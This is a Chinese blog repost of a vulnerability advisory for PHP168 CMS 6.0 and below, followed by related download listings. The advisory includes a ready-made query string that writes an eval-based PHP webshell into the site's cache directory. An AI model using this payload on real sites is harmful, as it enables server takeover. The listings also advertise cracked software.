`
love~ruby+rails
  • 浏览: 857546 次
  • 性别: Icon_minigender_1
  • 来自: lanzhou
社区版块
存档分类
最新评论

PHP168 6.0及以下版本漏洞

阅读更多
PHP168 6.0及以下版本漏洞
# 鬼仔:未测试。最近比较忙,所以很多东西都更新不及时,也有好多没贴上来,抱歉,这几天整理下,把积攒的都更新了。

来源:chinesehonker

危险等级:高

影响版本:PHP168 6.0以下版本

入侵者可以在用户登陆页面构造特殊语句,将PHP一句话写入cache目录,从而获得使用PHP168整站程序网站的WEBSHELL权限。


测试语句:
?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?
分享到:
评论

相关推荐

    齐博php168系统 6.0版本

    齐博 php168 系统 6.0版本

    ASP网站CMS程序源码——PHP168 6.0 建站版实例开发.rar

    PHP168 6.0 建站版是该系统的其中一个版本,它集成了多项改进和增强功能,旨在提供更加稳定、高效和易用的建站体验。这个版本可能包含以下几个关键知识点: 1. **安装与部署**:在部署PHP168 CMS前,你需要确保...

    IIS_6.0文件解析漏洞及解决办法

    IIS 6.0 文件解析漏洞及解决办法 IIS 6.0 文件解析漏洞是指在 IIS 6.0 中的一个安全漏洞,该漏洞允许攻击者上传恶意文件并执行恶意代码,从而获得网站的控制权。该漏洞是由于 IIS 6.0 在处理文件夹扩展名时的错误...

    redis 6.0 windows 版本

    你提到的“redis 6.0 windows 版本”应该是Redis 6.0在Windows平台上的构建,这个版本相较于之前的版本在性能、安全性和功能上都有所提升。 Redis 6.0的关键特性包括: 1. **多线程**:这是Redis 6.0的一个重大...

    IIS6.0上传漏洞伪静态规则

    IIS(Internet Information Services)是微软公司推出的一款用于Windows操作系统的Web服务器,版本6.0是其中的一个经典版本。然而,它存在一些安全漏洞,其中一个著名的问题就是“上传漏洞”。这个漏洞允许攻击者...

    php168分类6.0多城市商业版

    php168分类6.0多城市商业版 当前程序为PHP168分类信息系统V6独立安装版! 如果你已安装了PHP168整站系统的话,就不能安装目前这个独立版本,而需要安装整合版分类信息系统. 因为IP库比较大,程序默认不带IP库,...

    IIS6.0解析漏洞及修复-01

    IIS6.0解析漏洞及修复-01 IIS6.0解析漏洞及修复是Web安全训练营的重要一课,今天我们来讨论IIS6.0解析文件类型和修复方案。 IIS6.0解析文件类型 IIS6.0的解析文件类型是指IIS6.0服务器如何处理不同的文件类型。...

    SliverV6.0 ios版本

    **银色(Sliver) V6.0 iOS版本详解** 银色(Sliver) V6.0 是一款专为iOS设备设计的应用程序,它在移动设备上提供了丰富的功能和服务。作为一个重要的更新,Sliver V6.0 带来了诸多改进和新特性,旨在提升用户体验并...

    nero6.0绿色破解版本

    nero 6.0英文版本和中文版本都是支持的。而且是绿色破解版无任何木马蠕虫等。

    PHP168 v6.0 测试版.rar

    PHP168 v6.0的核心特性可能包括但不限于以下几点: 1. **性能优化**:新版本可能针对代码结构进行了优化,提升了系统运行速度和负载能力,以适应大型网站的需求。 2. **模板引擎升级**:CMS的模板引擎可能进行了...

    单双色及门楣全彩六代软件:LED Player6.0(版本V6.1.5)

    LED Player 6.0(版本V6.1.5)是用于控制单双色LED屏幕和门楣全彩LED屏幕的软件。以下是关于该软件的一些常见特点和功能: 1.LED屏幕控制: LED Player 6.0 允许用户控制单双色LED屏幕和门楣全彩LED屏幕,包括对...

    免费通讯库 6.0.1.0版本

    6.0.1.0版本

    安装版本Tomcat 6.0

    window下的安装版本Tomcat 6.0

    deskproto6.0及破解文件

    deskproto6.0及破解文件

    VB VB6.0获取某Dll版本号信息源码

    mshtmlversion = readFileVersion("C:\Windows\System32\mshtml.dll") MsgBox "mshtml.dll版本号是:" & mshtmlversion

    MATLAB6.0 数学手册 word文件版本

    MATLAB6.0 数学手册 word文件版本 浦东电子出版社 浦俊 吉家锋 伊良忠 编著

    activiti6.0官网发布版本下载

    activiti6.0官网版本,在5版本的基础上重构代码,官网原版下载

    Sp2IIS6.0完整版本

    【标题】"Sp2IIS6.0完整版本"指的是Windows Server 2003 Service Pack 2(SP2)中的Internet Information Services(IIS)6.0的完整安装包。这个版本是针对Windows Server 2003操作系统的一个重要更新,提供了IIS的...

    VMware vCenter Server 6.0 u2版本

    VMware vCenter Server 6.0 U2版本,网盘共享,永久有效连接,欢迎下载。

Global site tag (gtag.js) - Google Analytics